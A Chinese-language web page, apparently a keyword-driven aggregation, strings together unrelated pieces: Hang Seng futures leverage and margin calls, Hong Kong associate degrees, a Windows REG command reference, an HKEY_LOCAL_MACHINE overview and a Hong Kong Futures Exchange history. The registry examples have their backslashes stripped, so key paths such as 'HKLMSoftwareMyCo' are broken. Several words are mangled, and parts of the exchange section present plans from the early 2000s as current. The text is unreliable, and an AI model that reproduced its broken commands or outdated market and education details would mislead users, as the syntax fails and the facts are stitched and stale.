(12,163x50元)。以按金38,125元来计算,杠杆比率也是16.0倍。由此可见,小型期指与期指合约的杠杆比率一样。小型期指与期指的杠杆效应虽然可带来丰厚利润,但同时亦可引致巨额亏损,甚至可在极短时间内蚀掉已付按金之余,更欠下经纪行欠款。例如投资者买入一期指合约而未有即日平仓,一旦在翌日开市后即急跌763点以上,就算经纪行立即将他的持仓平仓(即俗称「斩仓」) ,客户亦须承担有关的损失。如果市况波动,只要恒生指数下跌153点以上,客户的按金水平就会下跌至低于维持按金的水平,经纪行便通常立即要求客户存入更多金额(即俗称「补仓」或「追孖展」) ,将按金水平回复至基本按金水平(即开立期指持仓所支付的按金)。万一投资者未能及时支付,更可能在收市前遭斩仓。
2023-07-20 11:11:091

香港副学士真实情况

香港副学士真实情况如下:副学士这个概念源自于美国,至今已有超过一百年的历史。2000年,香港前任行政长官董建华为加速增加具有大专学历的人口,而引进了副学士学位,从而让副学士成为了学历资历架构的第四级。副学士课程优势门槛低内地学生申请副学士凭高考成绩(本科线)、英语成绩(一般是100分以上)、笔试和面试结果综合录取,部分院校接受高考分数达专科线以上的申请者。高性价比直接来港读本科的内地生的学费需要12~16万港币/年,而香港副学士课程的学费大约5~6万港币/年,省了一半的学费。授课质量高香港副学士由香港各大学开设,全英文授课,授课形式与本科课程基本相同,共享学校资源。在学术上,对副学士学生的要求会比较严格,而且能与香港名校的学霸们互相交流,共同成长。黄金跳板香港历届副学士本科升学率可观(例如香港理工大学(HKCC)升学率高达90%),所以对于不甘心仅能就读内地普通大专又不想复读高三的学生来说,副学士相当于是一个黄金跳板。此外,香港作为世界第三大金融中心,为副学士毕业的学生提供多种就业机会,亦可继续升读学士/硕士/博士,且选择范围广,读书加工作一起满7年可拿到香港永居身份,享受香港福利。副学士课程注意事项全英教学与学士课程一样,副学士课程采用全英文教学和考试,而内地学生英文最大的短板——口语和写作,很容易就会暴露出来。如果学生的英文水平不好或者完全不适应全英教学,不仅会失去上课听讲的兴趣,还会丧失学习信心,很难再进入学习状态。全新学分计算方法除了可能会让人“水土不服”的全英文授课,副学士升本科还有一个很重要的考核标准,那就是学生在校的成绩(GPA)。GPA由作业、课堂表现、考勤、考试等共同组成,每项均占有相当可观的比例,完全不同于内地考试的“一考定分数”。这就要求在学生修读副学士的整个过程中,需要全身心投入学习。而很多同学在进入副学士的第一年还是懵懵懂懂的状态,还没有完全投入学习状态,从这里差距就会慢慢拉开。
2023-07-20 11:11:211

使用批处理配置注册表

REG命令1REG命令编辑reg addreg comparereg copyreg deletereg exportreg importreg loadreg queryreg restorereg savereg unload2添加子项编辑将新的子项或项添加到注册表中语法reg add KeyName [{/v ValueName | /ve}] [/t DataType] [/s Separator] [/d Data] [/f]参数KeyName指定要添加的子项或项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。/v ValueName指定要添加到指定子项下的注册表项名称。/ve指定添加到注册表中的注册表项为空值。/t Type指定注册表项的类型。Type 必须是以下几种类型之一:REG_SZREG_MULTI_SZREG_DWORD_BIG_ENDIANREG_DWORDREG_BINARYREG_DWORD_LITTLE_ENDIANREG_LINKREG_FULL_RESOURCE_DESCRIPTORREG_EXPAND_SZ类型介绍二进制值 REG_BINARY原始二进制数据。大多数硬件组件信息作为二进制数据存储,以十六进制的格式显示在注册表编辑器中。DWORD 值 REG_DWORD由 4 字节长(32 位整数)的数字表示的数据。设备驱动程序和服务的许多参数都是此类型,以二进制、十六进制或十进制格式显示在注册表编辑器中。与之有关的值是 DWORD_LITTLE_ENDIAN(最不重要的字节在最低位地址)和 REG_DWORD_BIG_ENDIAN(最不重要的字节在最高位地址)。可扩展字符串值 REG_EXPAND_SZ长度可变的数据字符串。这种数据类型包括程序或服务使用该数据时解析的变量。多字符串值 REG_MULTI_SZ多字符串。包含用户可以阅读的列表或多个值的值通常就是这种类型。各条目之间用空格、逗号或其他标记分隔。字符串值 REG_SZ长度固定的文本字符串。二进制值 REG_RESOURCE_LIST一系列嵌套的数组,用于存储硬件设备驱动程序或它控制的某个物理设备所使用的资源列表。此数据由系统检测并写入 ResourceMap 树,作为二进制值以十六进制的格式显示在注册表编辑器中。二进制值 REG_RESOURCE_REQUIREMENTS_LIST一系列嵌套的数组,用于存储设备驱动程序或它控制的某个物理设备可以使用的可能的硬件资源列表,系统将此列表的子集写入 ResourceMap 树。此数据由系统检测,作为二进制值以十六进制的格式显示在注册表编辑器中。二进制值 REG_FULL_RESOURCE_DESCRIPTOR一系列嵌套的数组,用于存储物理硬件设备使用的资源列表。此数据由系统检测并写入 HardwareDescription 树,作为二进制值以十六进制的格式显示在注册表编辑器中无 REG_NONE没有具体类型的数据。此数据由系统或应用程序写到注册表,作为二进制值以十六进制的格式显示在注册表编辑器中链接 REG_LINK 一个 Unicode 字符串,它命名一个符号链接。QWORD值 REG_QWORD由 64 位整数数字表示的数据。此数据作为二进制值显示在注册表编辑器中,最初用在 Windows 2000 中。/s Separator当指定了 REG_MULTI_SZ 数据类型并且需要列出多个项时,指定用来分隔数据的多个实例的字符。如果没有指定,将使用默认分隔符“”。/d Data指定新注册表项的数据。/f添加注册表项而不要求确认。/?在命令提示符处显示 reg add 的帮助。注释? 该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。? 下表列出了 reg add 操作的返回值。值 描述0 成功1 失败? 对于 REG_EXPAND_SZ 项类型,在 /d 参数内将插入符号 ( ^ ) 与“%”一起使用。3示例编辑示例1要在远程计算机 ABC 上添加 HKLMSoftwareMyCo 项,请键入:REG ADD \ABCHKLMSoftwareMyCo要将一个注册表项添加到 HKLMSoftwareMyCo,选项为值名:Data;类型:REG_BINARY;数值数据:fe340ead;请键入:REG ADD HKLMSoftwareMyCo /v Data /t REG_BINARY /d fe340ead要将一个多值注册表项添加到 HKLMSoftwareMyCo,选项为值名:MRU;数据类型:REG_MULTI_SZ;数值数据:faxmail;请键入:REG ADD HKLMSoftwareMyCo /v MRU /t REG_MULTI_SZ /d faxmail要将一个扩展的注册表项添加到 HKLMSoftwareMyCo,选项为值名:Path;数据类型:REG_EXPAND_SZ;数值数据:%systemroot%;请键入:REG ADD HKLMSoftwareMyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%reg compare比较指定的注册表子项或项。语法reg compare KeyName1 KeyName2 [{/v ValueName | /ve}] [{/oa | /od | /os | on}] [/s]参数KeyName1指定要比较的第一个子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。KeyName2指定要比较的第二个子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。只在 KeyName2 中指定计算机名会导致该操作使用到 KeyName1 中指定的子项的路径。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM和 HKU。/v ValueName指定要比较的子项下的值名称。/ve指定只比较值名称为 null 的项。[{/oa | /od | /os | on}]指定如何显示比较操作的结果。默认设置是 /od。下表列出了每一个选项。值 描述/oa指定显示所有不同点和匹配点。默认情况下,仅列出不同点。/od指定仅显示不同点。这是默认操作。/os指定仅显示匹配点。默认情况下,仅列出不同点。/on指定不显示任何内容。默认情况下,仅列出不同点。/s递归地比较所有子项和项。/?在命令提示符处显示 reg compare 的帮助。注释? 下表列出了 reg compare 操作的返回值。值 描述0比较成功且结果相同。1比较失败。2比较成功并找到不同点。? 下表列出了结果中显示的符号。符号 描述=KeyName1 数据等于 KeyName2 数据<KeyName1 数据小于 KeyName2 数据>KeyName1 数据大于 KeyName2 数据示例2要将 MyApp 项下的所有值与 SaveMyApp 项下的所有值进行比较,请键入:REG COMPARE HKLMSoftwareMyCoMyApp HKLMSoftwareMyCoSaveMyApp要比较 MyCo 项下的 Version 的值和 MyCo1 项下的 Version 的值,请键入:REG COMPARE HKLMSoftwareMyCo HKLMSoftwareMyCo1 /v Version要将计算机 ZODIAC 上 HKLMSoftwareMyCo 下的所有子项和值与当前计算机上 HKLMSoftwareMyCo 下的所有子项和值进行比较,请键入:REG COMPARE \ZODIACHKLMSoftwareMyCo \。/sreg copy将一个注册表项复制到本地或远程计算机的指定位置。语法reg copy KeyName1 KeyName2 [/s] [/f]参数KeyName1指定要复制子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略\ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。KeyName2指定子项目的地的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略\ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。/s复制指定子项下的所有子项和项。/f不要求确认而直接复制子项。/?在命令提示符处显示 reg copy 的帮助。注释? 在复制子项时 Reg 不请求确认。? 下表列出了 reg copy 操作的返回值。值 描述0成功1失败示例3要将 MyApp 项下的所有子项和值复制到 SaveMyApp 项,请键入:REG COPY HKLMSoftwareMyCoMyApp HKLMSoftwareMyCoSaveMyApp /s要将计算机 ZODIAC 上的 MyCo 项下的所有值复制到当前计算机上的 MyCo1 项,请键入:REG COPY \ZODIACHKLMSoftwareMyCo HKLMSoftwareMyCo1reg delete从注册表删除子项或项。语法Reg delete KeyName [{/v ValueName | /ve | /va}] [/f]参数KeyName指定要删除的子项或项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。/v ValueName删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。/ve指定只可以删除为空值的项。/va删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。/f无需请求确认而删除现有的注册表子项或项。/?在命令提示符处显示 reg delete 的帮助。注释? 下表列出了 reg delete 操作的返回值。值 描述0成功1失败示例4要删除注册表项 Timeout 以及其所有子项和值,请键入:REG DELETE HKLMSoftwareMyCoMyAppTimeout要删除计算机 ZODIAC 上 HKLMSoftwareMyCo 下的注册表值 MTU,请键入:REG DELETE \ZODIACHKLMSoftwareMyCo /v MTUreg export将本地计算机的指定子项、项和值复制到一个文件中,以便传输到其他服务器。语法Reg export KeyName FileName [/y]参数KeyName指定子项的完全路径。Export 操作仅可在本地计算机上工作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。FileName指定在操作期间创建的文件的名称和路径。该文件必须具有 .reg 扩展名。/y不要求确认即覆盖任何现有的名称为 FileName 的文件。/?在命令提示符处显示 reg export 的帮助。注释? 下表列出了 reg export 操作的返回值。值 描述0成功1失败示例5要将 MyApp 项的所有子项和值的内容导出到文件 AppBkUp.reg,请键入:reg export HKLMSoftwareMyCoMyApp AppBkUp.regreg import将包含已导出的注册表子项、项和值的文件的内容复制到本地计算机的注册表中。语法Reg import FileName参数FileName指定其内容将复制到本地计算机注册表中的文件的名称和路径。此文件必须使用 reg export 预先创建。/?在命令提示符处显示 reg import 的帮助。注释? 下表列出了 reg import 操作的返回值。值 描述0成功1失败示例6要从名为 AppBkUp.reg 的文件导入注册表项,请键入:reg import AppBkUp.regreg load将保存的子项和项写回到注册表的不同子项中。与用于进行疑难解答或编辑注册表项的临时文件一起使用。语法reg load KeyName FileName参数KeyName指定要加载的子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。FileName指定要加载的文件的名称和路径。必须使用 .hiv 作为扩展名的 reg save 操作预先创建该文件。/?在命令提示符处显示 reg load 的帮助。注释? 下表列出了 reg load 操作的返回值。值 描述0成功1失败示例7要将名为 TempHive.hiv 的文件加载到 HKLMTempHive 项,请键入:REG LOAD HKLMTempHive TempHive.hivreg quer#返回位于注册表中指定的子项下的下一层子项和项的列表。语法reg query KeyName [{/v ValueName | /ve}] [/s] [/se Separator] [/f Data] [{/k | /d}] [/c] [/e] [/t Type] [/z]参数KeyName指定子项的完全路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略\ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。/v ValueName指定要查询的注册表值名称。如果省略,则返回 KeyName 的所有值名称。如果还使用了 /f 选项,则此参数的 ValueName 是可选的。/ve查询空白的值名称。/s指定该参数递归查询所有子项和值名称。/se Separator指定单值分隔符,以搜索 REG_MULTI_SZ 类型的值名称。如果没有指定 Separator,则使用“”。/f Data指定要搜索的数据或模式。如果字符串包含空格,则使用双引号。如果未指定,则使用通配符 ("*") 作为搜索模式。/k指定只在项名称中搜索。/d指定只在数据中搜索。/c指定查询是区分大小写的。默认情况下,查询是不区分大小写的。/e指定只返回完全匹配项。默认情况下,返回所有匹配项。/t Type指定要搜索的注册表类型。有效的类型包括:REG_SZ、REG_MULTI_SZ、REG_EXPAND_SZ、REG_DWORD、REG_BINARY、REG_NONE。如果未指定,则搜索所有类型。/z指定在搜索结果中包括注册表类型的数字同等物。/?在命令提示符处显示 reg query 的帮助。注释? 下表列出了 reg query 操作的返回值。值 描述0成功1失败示例8要显示 HKLMSoftwareMicrosoftResKit 项中的名称值 Version 的值,请键入:REG QUERY HKLMSoftwareMicrosoftResKit /v Version要显示远程计算机 ABC 上的 HKLMSoftwareMicrosoftResKitNtSetup 项下的所有子项和值,请键入:REG QUERY \ABCHKLMSoftwareMicrosoftResKitNtSetup /s要使用“#”作为分隔符显示 REG_MULTI_SZ 类型的所有子项和值,请键入:REG QUERY HKLMSoftwareMicrosoftResKitNtSetup /se #要显示数据类型 REG_SZ 的 HKLM 根下的“SYSTEM”的完全匹配并且区分大小写的匹配项的项、值和数据,请键入:REG QUERY HKLM /f SYSTEM /t REG_SZ /c /e要显示数据类型 REG_BINARY 的根键 HKCU 下的数据中的“0F”的匹配项的项、值和数据,请键入。REG QUERY HKCU /f 0F /d /t REG_BINARY要显示 HKLMSOFTWARE 下的值名称 null(默认值)的值和数据,请键入:REG QUERY HKLMSOFTWARE /vereg restore将保存的子项和项写回到注册表。语法Reg restore KeyName FileName参数KeyName指定要还原的子项的完整路径。Restore 操作仅在本地计算机上工作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。FileName指定其内容将写回到注册表中的文件的名称和路径。必须使用 .hiv 作为扩展名的 reg save 操作预先创建该文件。/?在命令提示符处显示 reg restore 的帮助。注释? 编辑任何注册表项之前,请使用 reg save 操作保存父子项。如果编辑失败,则可以使用 reg restore 操作还原原来的子项。? 下表列出了 reg restore 操作的返回值。值 描述0成功1失败示例9要将名为 NTRKBkUp.hiv 的文件还原到 HKLMSoftwareMicrosoftResKit 项,并覆盖该项的现有内容,请键入:REG RESTORE HKLMSoftwareMicrosoftResKit NTRKBkUp.hivreg save将指定的子项、项和注册表值的副本保存到指定文件中。语法reg save KeyName FileName [/y]参数KeyName指定子项的完全路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略\ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。FileName指定所创建的文件的名称和路径。如果未指定路径,则使用当前路径。/y不要求确认即覆盖任何现有的名称为 FileName 的文件。/?在命令提示符处显示 reg save 的帮助。注释? 下表列出了 reg save 操作的返回值。值 描述0成功1失败? 编辑任何注册表项之前,请使用 reg save 操作保存父子项。如果编辑失败,则可以使用 reg restore 操作还原原来的子项。示例10要将配置单元 MyApp 作为名为 AppBkUp.hiv 的文件保存到当前文件夹中,请键入:REG SAVE HKLMSoftwareMyCoMyApp AppBkUp.hivreg unload使用 reg load 操作删除已加载的部分注册表。语法reg unload KeyName参数KeyName指定要卸载的子项的完整路径。要指定远程计算机,请包括计算机名(以 \ComputerName 格式表示),并将其作为 KeyName 的一部分。省略 \ComputerName 会导致默认对本地计算机的操作。KeyName 必须包括一个有效的根键。有效根键包括 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定了远程计算机,则有效根键是 HKLM 和 HKU。/?在命令提示符处显示 reg unload 的帮助。注释? 下表列出了 reg unload 操作的返回值。值 描述0成功1失败示例11要卸载 HKLM 中的配置单元 TempHive,请键入:REG UNLOAD HKLMTempHive
2023-07-20 11:11:492

HKEY_LOCAL_MACHINE详细资料大全

在微软的Windows作业系统中,HKEY_LOCAL_MACHINE保存了注册表里的所有与这台计算机有关的配置信息,只是一个公共配置信息单元,对于读者来说,只需做一个大致的了解即可。 HKEY_LOCAL_MACHINE根键包含5个子键,分别为Hardware子键、Sam子键、Security子键、Sofare子键和System子键。 基本介绍 中文名 :HKEY_LOCAL_MACHINE 外文名 :HKEY_LOCAL_MACHINE 类型 :系统和软体的处理键 隶属 :计算机 描述,介绍, 描述 HKEY_LOCAL_MACHINE是一个显示控制系统和软体的处理键。HKLM键保存著计算机的系统信息。它包括网路和硬体上所有的软体设定。(比如档案的位置,注册和未注册的状态,版本号等等)这些设定和用户无关,因为这些设定是针对使用这个系统的所有用户的。 介绍 HKEY_LOCAL_MACHINEAppEvents 为了以后在客户机上运行客户机/伺服器这样的应用程式,在Win95/98中AppEvents键是空的。应用程式实际上都驻留网路伺服器上,这些键会保存部分指针。 HKEY_LOCAL_MACHINEConfig 这个键保存着你计算机上所有不同的硬体设定(这些从控制台的系统属性中硬体配置档案中可以创建)。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键(比如0001或者0002等等)来保存,每个都是一个独立的配置。如果你只有一个单一的配置,那就只会有0001这个键 HKEY_LOCAL_MACHINEConfig001Display 这个键表示显示的设定,如萤屏字型,窗体大小,窗 *** 置和解析度等 一个小技巧:当设定了计算机不支持的大解析度导致Windows不能启动时(黑屏),可以修改解析度来解决。进入安全模式,运行regedit.exe,在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低解析度,然后重新启动计算机即可。 HKEY_LOCAL_MACHINEConfig001System 这个键保存著系统里印表机的信息 HKEY_LOCAL_MACHINEConfig001SystemCurrentControlSetControlPrintPrinters 在这个键下面,有一个键是为系统上每一个印表机设定的,通过控制台添加和删除印表机会调整这个列表 HKEY_LOCAL_MACHINEEnum Enum键包含启动时发现的硬体设备和那些即插即用卡的信息。Win95使用汇流排列举在启动时通过不同的.ini档案来检测硬体信息。那些在启动时被安装的和被检测到的硬体会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Neork, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬体设备信息。 HKEY_LOCAL_MACHINEEnumBIOS BIOS键保存著系统中所有即插即用设备的信息。它们用一套代码数列出,包括每一个键的详细说明,举例,*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能,它就会别列入到Enum下的Root键中
2023-07-20 11:11:571

香港期货是否可以24小时交易吗?

香港期货交易所香港期货交易所(HKFE)香港期货交易所的前身是1977年开始运营的香港商品交易所。香港商品交易所起初经营原糖和棉花交易,1979年开始大豆交易,1986年5月生指数期货合约开始交易,交易量迅速超过其它合约,占1987年总交易量的87%。香港商品交易所最初每5年进行一次检讨,1982年的检讨认为其经营并未获得成功,1984年对交易所改组和对管理条例修订后才重新牌,将香港“商品”交易所更名为“期货”交易所,并把生指数期货定为期货交易的头类合约。1998年生指数期货和期权合约交易量占市场总交易量的90%以上。目前在香港期货交易所上市的还有红筹股票指数、个股等金融品种的期货和期权。由于香港是国际金融中心,有着发达的外汇市场、金融衍生品市场、股票市场、债券市场、资本市场和黄金市场,因此,香港期货交易所有着广泛的发展前景。 香港小型恒生指数期货三合一经历过多次牛市、股灾,与1998年亚洲金融风暴,香港证券市场渐趋成熟。1999年,当时的财政司司长曾荫权公布,为香港证券及期货市场进行全面改革,以提高香港的竞争力及迎接市场全球化所带来的挑战。建议把香港联合交易所(联交所)与香港期货交易所(期交所)实行股份化,并与香港中央结算有限公司合并,由单一控股公司香港交易所拥有,当时联交所共有570家会员公司。2000年3月6日,三家机构完成合并,香港交易所于2000年6月27日以介绍形式在联交所上市。 香港交易所旗下的衍生产品市场为各类期货及期权产品提供交易的市场,这些衍生产品包括股票指数、股票及利率期货及期权产品。香港交易所及其附属公司香港期货结算有限公司及香港联合交易所期权结算所有限公司实施一套严谨的风险管理制度,让交易所参与者及其客户能在一个高流通量和监管完善的市场,进行投资和对冲活动。结算在结算参与者的资本规定方面,香港期货结算公司不会对直接结算参与者设定最低资本规定(同现有的中央结算系统经纪参与者),因为直接结算参与者本身必须是联交所参与者,并符合香港证监会制定的“财政资源规则”。至于成为注册证券商的全面结算参与者,其建议最低资本规定为2500万港元,与香港期货结算公司全面结算参与者的规定相同。另根据“银行业条例”注册的认可机构如希望成为全面结算参与者,须维持1亿港元最低已发行实缴股本净额(与现行对中央结算系统托管商参与者的规定相同)。参与费,指所有中央结算系统参与者(包括全面结算参与者和直接结算参与者)必须向香港结算公司缴付参与费。目前规划向直接结算参与者和全面结算参与者收取的参与费与现行经纪和托管商参与者相同。香港期货结算所(HKCC)现时所使用结算交所系统为DCASS,即Derivatives Clearing And Settlement System 从事香港指数期货及期权的结算交易,现时市场约有128家公司为结算所参与者,其中有123家为直接结算参与者(CP)及 5家为全面结算参与者(GCP)。全面结算参与者(GCP),指在现时中央结算系统规则下,只有经纪参与者才可以在中央结算系统进行交易所买卖的结算及交割。不过,全面结算参与者不一定需要持有联交所交易权,也可以替非结算参与者的证券交易进行结算。所有联交所参与者及具有注册证券商牌照的公司都可以成为全面结算参与者。“银行业条例”下的认可机构也会获接纳为全面结算参与者。全面结算参与者可为本身交易进行结算(如属联交所参与者),也可按第三者结算安排替非结算参与者进行交易结算。非结算参与者则必须先委聘一名全面结算参与者代其结算,才会获准在联交所进行买卖。直接结算参与者(CP),指只有联交所参与者,才符合资格成为直接结算参与者。直接结算参与者只能结算其本身交易,不能接受非结算参与者委聘为其结算。现有的经纪参与者将自动成为直接结算参与者。上市品种香港联合交易所、期货交易所和三个结算所合并后,所有的衍生品交易都放在期货交易所中(股票期权交易曾经在联合交易所交易)。香港目前有期货及期权产品四类。(1)股市指数产品系列,包括:恒生指数期货及期权、小型恒指期货、中国外资自由投资指数期货;(2)股票类产品,包括29只股票期货,31只股票期权,20只国际股票期货和20只期权;(3)利率产品,包括:1个月港元利率期货、3个月港元利率期货、3年期外汇基金债券期货;(4)外汇产品,包括:日元、英镑、欧元的日转期汇。 现状在过去几十年中,香港衍生品的交易量稳步上升。2003年上半年共成交期货和期权合约540万张,其中恒生指数期货交易量占40.8%,股票期权的交易量占39.4%,小型恒指期货为6.8%,恒指期货的交易量为6.4%,三个月港元的利率期货为6.47%。总交易量在亚洲排名第二位。2001年11月19日香港交易所推出了债券(外汇)期货新品种。 目前,香港并没有商品期货市场。在1977至1980年期间,当时的香港商品交易所有限公司(其后于1985年改组为香港期货交易所有限公司)曾推出四种商品期货合约,包括棉花、原糖、黄豆以及黄金。但由于当地及国际参与者的需求不大,这些合约其后在1981年至1999年陆续停止交易。从交易量的分布来看,以恒指期货为例,交易量中大部分来自散户投资者(57.7%),而且近几年呈现上升趋势,其次是机构投资者(35%)。交易量中78%为投机交易,13.5%为套利交易,8.5%为套期保值。 为了更好地服务交易者,香港交易所2000年6月开始采用HKATS交易系统,进行电子化交易,同时取消公开喊价交易,2000年8月6日实现期权、期货在HKATS系统合并交易。香港交易所计划2002年中期实现衍生品结算系统合并,在DCASS系统结算和交收。期货佣金商的最低手续费规定2002年4月份取消,以鼓励经纪商开展竞争,提高香港金融业的服务水平。 未来香港衍生品市场的发展,更加强调交易的电子化水平和国际化。未来的发展方向是,现货(股票)交易和期货期权在一个系统交易和结算,便于市场风险共同管理、抵押品共同管理,以提高整个金融衍生品市场运作效率。电子化自动交易技术将使期货市场从有形市场到无形市场,交易更加安全和便利。通过产品和交易者的国际化,来提高香港衍生品市场的竞争力。当然,香港金融业的高度开放是其国际化的有利条件。 香港期货市场的基本架构 香港交易所是由香港联合交易所、香港期货交易所、期货结算所、股票结算所、股票期权结算所合并而来。香港交易所由财政司下属的证监会监管,证监会在香港政府的行政级别较低,但由于交易所和证券机构人员薪金相当高(交易所手续收入的一半用于支付薪金),证监会为了吸引优秀的金融人才进入管理层,其人员薪金远高于财政司其它人员的薪金。 香港交易所实行公司制,并在香港交易所上市交易,香港交易所是亚太地区第二个实行公司制的交易所(第一个为澳大利亚)。公司制有利于防止会员对交易所管理方面的干预和影响,协调大小会员在交易所投资和发展方面的矛盾。按照证监会《交易所合并条例》,交易所合并上市后,任何持股者不能超过总股份的5%,交易所工作人员可以持有交易所股份,但在信息披露前的敏感期,交易所工作人员不允许买卖交易所股票。从管理体制上看,交易所的总裁有董事会推举,报证监会批准。公司制的香港交易所会员随之改称“交易所参与者”,交易所参与者具有“交易权”,其他交易者必须通过“参与者”代理才能进行期货和期权交易。因此“交易权”目前是有价值的,可以转让和买卖。据说,交易所明年放开交易权,其他公司可以直接向交易所购买交易权。 期货和期权在香港交易所下属的结算所进行结算,目前只有“结算所参与者”才能结算,而且只有“全面结算所参与者”才能代理和为自己结算,一般结算所的参与者只能为自己结算。 香港交易所衍生品市场有130多家交易所参与者,120家全面结算所参与者。 目前香港上市期货品种需要证监会同意。为了保证香港的国际金融中心地位,提高香港期货市场的竞争力,香港证监会在品种的审批方面比较宽松,一般不会否决交易所上报的品种。证监会只要求交易所作好市场的调查和品种设计。 香港期货交易所和内地比较 交易品种和月份:香港期货交易所的衍生产品的特色是:金融期货为主,本地化的产品和国际化的产品相结合,但是本地化的产品交易较为活跃。目前内地期货以内地商品为主要上市品种。香港衍生品市场活跃的品种主要是指数期货和股票期权。合约月份设计和英国期货市场大致相同,一般为现货月份和下一个月,以及之后最近两个季月(3、6、9、12为季月)。股票期权合约实行的是美式期权,美式期权有利于随时交割现货股票,方便套期保值。指数期权采用欧式期权,因为指数期权采用的是现金结算,没有现货交收。目前香港股票期货活跃的月份为现货月和现货月的下一个月。而内地期货品种远期合约月份活跃,近期合约月份受持仓限制和保证金提高的影响,活跃程度很低。 保证金(按金):香港期货按金采用绝对数值,内地采用比例保证金(5%)。结算所用SPAN计算期货和期权按金,按金水平与标的物的现货价格水平和价格波动有关。当利用SPAN计算出的按金比实际采用的按金高(低)25%时,交易所将重新调整按金水平。交易者本身并不知道结算所何时调整按金,只能按照结算所的通知来增减。交易者习惯这种按金的调整方法,因此,按金的调整似乎对期货和期权的价格没有影响。 交易所参与者(经纪公司)收取客户的按金分为开户按金和维持按金。目前恒指期货的开户按金为57000元/张左右,维持按金在47000元/张左右,按金相当于合约价值的10%左右。结算所收取“参与者”(经纪公司)的按金为“参与者”收取客户按金的80%。据结算所全面参与者——获多利金融服务公司介绍,他们对不同客户收取的按金不同。内地期货保证金为合约价值的5%,会员收取客户保证金为8%。 持仓限制和涨跌停板:交易所参与者在交易所只有三个账户,自营账户、客户账户(所有客户用一个账户)和做市商账户。持仓限制是针对交易所参与者自营账户,交易所不对参与者客户账户限仓。另外,交易所更多地关心市场的活跃,也不愿对客户账户限仓,客户的风险问题有交易所参与者负责控制。不分长仓和短仓,交易所参与者恒指期货、小型恒指期货以及恒指期权所有合约月份持仓总计不超过10000delta(一个期货合约为一个delta,期权按照delta的计算方法调整)。内地根据客户、经纪会员和非经纪会员、合约月份、品种规定较为繁杂的持仓限制。香港衍生品交易没有涨跌停板制度,内地所有品种的涨跌停板为合约价值的3%。 做市商和套利交易:目前香港交易所的期权都有做市商,期货合约只有三个月港元利率期货有一家做市商(汇丰银行)。市场参与者可以用自营账户做市,也可以由其代理的客户做市。不过代理客户成为做市商,要通过交易所参与者开立做市商账户,然后对于做市账户进行管理和实行优惠。交易所一般用电话要求做市商报价,做市商可以不报价,但是每个月对交易所报价要求的回应不能少于80%,优惠措施是减免手续费的80%和减免租金。内地期货目前没有做市商制度。 香港期货交易所对套利交易在按金(保证金)方面给予优惠,套利按金也是由SPAN计算出来。内地期货市场对套利保证金没有优惠,与投机的保证金相同。最近香港期货市场为了将OTC市场的交易者吸引进入期货市场交易,实行了“大手交易”(block trading)制度,即两个客户如果进行大额交易,可以在当日最高价与最低价的范围内,按照协商价格建仓或平仓。为了防止交易所内原有交易演变为场外协商交易,大手交易要求每手交易量在100张以上。目前,香港衍生品市场的大手交易每日成交有几百手。 